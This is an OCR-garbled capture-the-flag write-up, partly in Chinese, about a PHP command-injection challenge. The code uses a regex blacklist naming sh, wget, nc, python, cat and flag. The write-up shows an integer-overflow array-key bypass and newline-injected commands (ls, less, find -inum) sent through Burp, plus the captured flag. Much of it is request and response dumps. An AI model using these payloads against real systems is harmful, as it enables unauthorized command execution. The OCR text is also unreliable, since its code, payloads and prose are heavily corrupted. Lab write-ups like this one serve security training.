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<?php

$stuff — § POST["stuff"];

Sarray = ['admin', 'user'];

if ($stuff === Sarray && Sstuff[0] != 'admin') {

Snum= $ POST["num"];
if (preg_match("/"\d+5/im", $num) ) {
if (!preg match("/shlwget|nc|pythonlphplperl|\?|flagl}lcatlecho\*I\"INTINNANITINTINT/L", $num) ) {
echo "my favorite num is:";
system("echo ".3%num);
lelsel
echo 'Bonjour!';
}
}
} else {
highlight file(_ FILE ):
}
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flags&ff: 1. ffiflpost/ A\As: 2. FWEBET RN ELRASE; 3. S IENREXMBL H

<?php

/lphp5.5.9

$stuff =$_POST["stuff"];//1 i postrr :\FE 22

$array = [admin', 'user'];//f) & — 44 £ % admin,user

if($stuff === $array && $stuff[0] !="admin’) {/EE E stuffsi s T-array[F I CEE ICR AL, KA SHEME, Hstuffo]4%

Fadmin
$num=$ POST["num"];

if (preg_match("/MN\d+$/im", $num)){//— N IENFRIA, Ao BITLEC =77 8 LA g5 2, [dRRILE AT, MEHEA
X RANE, ImfERRESAMSAEIENZIA X P RER, e R AT E TR,
if (preg_match("/shjwget|nc|python|phplperi|\?[flag[}catlecho\* MNMNW/N" N/" ,$num)){//2 42 H.

echo "my favorite num is:";//#i H!
system("echo ".$num);//HAT
lelse{
echo 'Bonjour!’;
}
}

}else {
highlight_file(__FILE__);
}

i I php5.5.9% 73t R, Stuff[2432]=stuff[0]

KR i
int 4
short int 2
long int 4
unsign int 4
unsigned short int 2
unsigned short int 4

i keyiii th, 19i&4294967296H] 40

i i

-2147483648~2147483647

-32768~32767

-2147483648~2147483647

0~4294967295

0~65535

0~4294967295

payload: stuffl4294967296]=admin&stuff[1]=user&num=2333



my favorite num 1s:2333
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Encryption + Encoding~ SQL~ XSS~ LFI~+ XXE~ Other~

4 Load URL http://111.200.241.244:58734/
1 spiit URL

»  Execute
Post data [] Referer [] User Agent [[] Cookies Clear All

stuff[4294967296]=admin&stuff[1]=user&num=2333
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Request Response

Pretty e \n Actions MG Raw  Render \n Actions
1 POST / HTTE/1.1 1 HTTESLl.l 200 OK

2 Host: 111.200.241.7244:58734 2 Server: nginx/l1.4.& (Ubuntu)

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =:&4; rv:92.0) Gecko/20100101 Firefox/92.0 2 Date: Mon, 13 &ep I0IZ1 0Z:1Z2:11 GMT
4 Accept: text/html, application/xhtml+:ml, application/zanl;q=0.9, image/webp, */*;q=0.8 4 Content-Type: text/html

S Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HE; q=0.5, en-U3; q=0.3, en; q=0.2 S Connection: close

& Accept-Encoding: gzip, deflate & X-Powered-By: PHP/5.5.9-lubuntu4.29
7 Content-Type: application/x-www-form-urlencodesd 7 Content-Length: 34

% Content-Length: 59 8

9 oOrigin: http://111.200.241.244:58734 % my favorite num is:Z2333
10 Connection: close 10 index.php
11 Referer: http://111.200.C41.244:58734/ 11
12 Upgrade-Insecurs-Requests: 1
13

14 |Etuffi5B42 94957296%5Dadmingéstuff8561385D=user&num=2333%0als
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Request Response

Pretty ENY \n Actions Raw Render \n Actions
1 POST / HTTE/Ll.1 1 HTTE/1l.1 Z00 ©OK

2 Host: 111.200.241.744:58734 2 gerver: nginz/1.4.& (Ubuntu)

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd4; =64; rv:92.0) Secko/Z0100101 Firefox/92.0 2 Date: Mon, 13 Sep Z0Z1 0Z2:14:13 GMT
4 Accept: text/html, applicatlion/xhtml+zml, application/zml;q=0.9, image/wehp, */*;q=0.8 4 Content-Types: text/html

S Accept-Language: zh-CMN, zh;q=0.8, zh-TW; g=0.7, zh-HK; q=0. 5, en-US; q=0.3, en; q=0.2 5 Connection: close

£ Accept-Encoding: gzip, deflate © X-Powered-By: PHP/5.5.%9-lubuntud.Zd

Content-Type: application/x-www-form-urlencoded Content-Length: 114

2 Content-Length: &1 8

% Origin: http://111.200.241.244:58734 9 my favorite num is:Z333
10 Connection: closs 10 bin
11 Referer: http://111.200.241.244:58734/ 11 boot
12 Upgrade-TInsecure-Regquests: 1 12 dev
13 12 etc
14 stuff$5B4294967296%5D=admin&stuff35B185D=user&num=2333%0als / 14 flag

5 home

1lib
lilh&4
media
mnt
opt
proc
root
run
shin
srv

ASKAf Fcat MlagBP T 3kf5flag, mliEcatfiiflagidi N B4 5, Sl H &R/ N AR, @: tec, less, more

A Ay
i i

Fik—: ffiflless. teciififlag

Request Response

Pretty EREE  \n Actions Raw Render \n Actions
1 POST / HTTE/L.1 HTTE/1l.1l 200 OK

2 Host: 111.200.241.244:58734 Server: nginx/l.4.6 (Ubuntu)

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =64; rv:92.0) Gecko/I0Ll00101 Firefox/92.0 Date: Mon, 13 Sep Z0Z1 02:19:08 GMT
4 Accept: text/html, application/xhtml+zml, application/xul; q=0.9, image/webp, */*;q=0.8 ¢ Content-Type: text/html

Connection: close
¢ X-Powered-By: PHP/5.5.9-lubuntud.Z9
Content-Length: 69

Accept-Language: zh-CN, zh;q=0.8, zh-TW; ¢=0.7, zh-HK; ¢=0.5, en-Us; q=0.3, en; ¢=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 69 8
5

o w

origin: http://L111.200.241.244:58734 9 my favorite num is:2333

0 connection: close 0 eyberpeace{a5740845d272808db0ec5:7 92098512 fe)
Referer: http://111.200.241.244:58734/
Upgrade-Insecure-Requests: 1

stuff85B4294967296%5D=admindstuff85B185D=usernum=2333%0aless+/ £l "ag
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inode 5



Request Response

Pretty \n  Actions s Raw Render \n Actions »

1 POST / HTTE/L.1 1 HTTE/l.l1 Z00 CR

2 Host: 111.200.241.244:58734 2 Server: nginx/l.4.6 (Ubuntu)
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =x=64; rv:92.0) Gecko/Z01l00101 Firefox/92.0 2 Date: Mon, 13 Sep Z0Z1 0Z:ZZI:
4 Accept: text/html, application/xhtml+:ml, application/zml;q=0.9, images/wehp, */*;q=0.8 4 Content-Type: text/html

S Accept-Language: zh-CHN, zh; q=0.8, zh-TW; g=0.7, zh-HE; q=0.5, en-Ug; q=0.3, en; q=0.2 5 Connection: close

& Accept-Encoding: gzip, deflate 6 ¥-Powered-By: PHE/5.5.9-lubuntu4.29
7 Content-Type: application/z-www-form-urlencoded 7 Content-Length: 294

2 Content-Length: &4 8

S oOrigin: http://111.200.241.244:58734 9 my favorite num is:2333

10 Connection: close 10 3284127 bin

11 Referer: http://111.200.241.244:58734/ 11 30940644 boot

12 Upgrade-Insecure-Requests: 1 12 2 dev

13 12 35914626 ete

14 stuff%5B4294967296%35D=adminéstuff85E185D0=user&num=2333%0als -1 / 14 33914673 flag

15 30941276 home
16 3284765 1ib

17 31071188 lih&4
18 31071190 media
31071191 mnt
31071192 opt
1l proc
31071194 root
31466142 run
31466109 shin
31071333 srv
1 sys

3284773 tmp
3285677 usr
3285396 wvar

(SR
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Request Response

Pretty \n Actions Raw Render \n Actions

POST / HTTE/Ll.1l

Host: 111.200.241.244:58734

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64; rv:92.0) Gecko/Z0100101 Firefox/92.0
Accept: text/html, application/xhtml+zul, application/zanl;q=0.9, image/webp, */*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, =zh-TW;g=0.7, zh-HE;q=0.5, en-U3; ¢q=0.3, en; g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 83

Origin: http://111.200.241.244:58734

Connection: close

Referer: http://111.200.241.244:58734/ 11
Upgrade-Insecure-Requests: 1

HITE/1l.1 200 CK

Server: nginx/l.4.& (Ubuntu)

Date: Mon, 13 Sep Z0OZ1 0 4:21 GMT
Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-lubuntu4.29
Content-Length: &9
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my favorite num is:2333
cyberpeace{ad740845d27808db0e527909851C fe}
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stufE35B429496729685D=adminéstuf£35B1850=user&num=2333%0aless “find / -inum 35914673°
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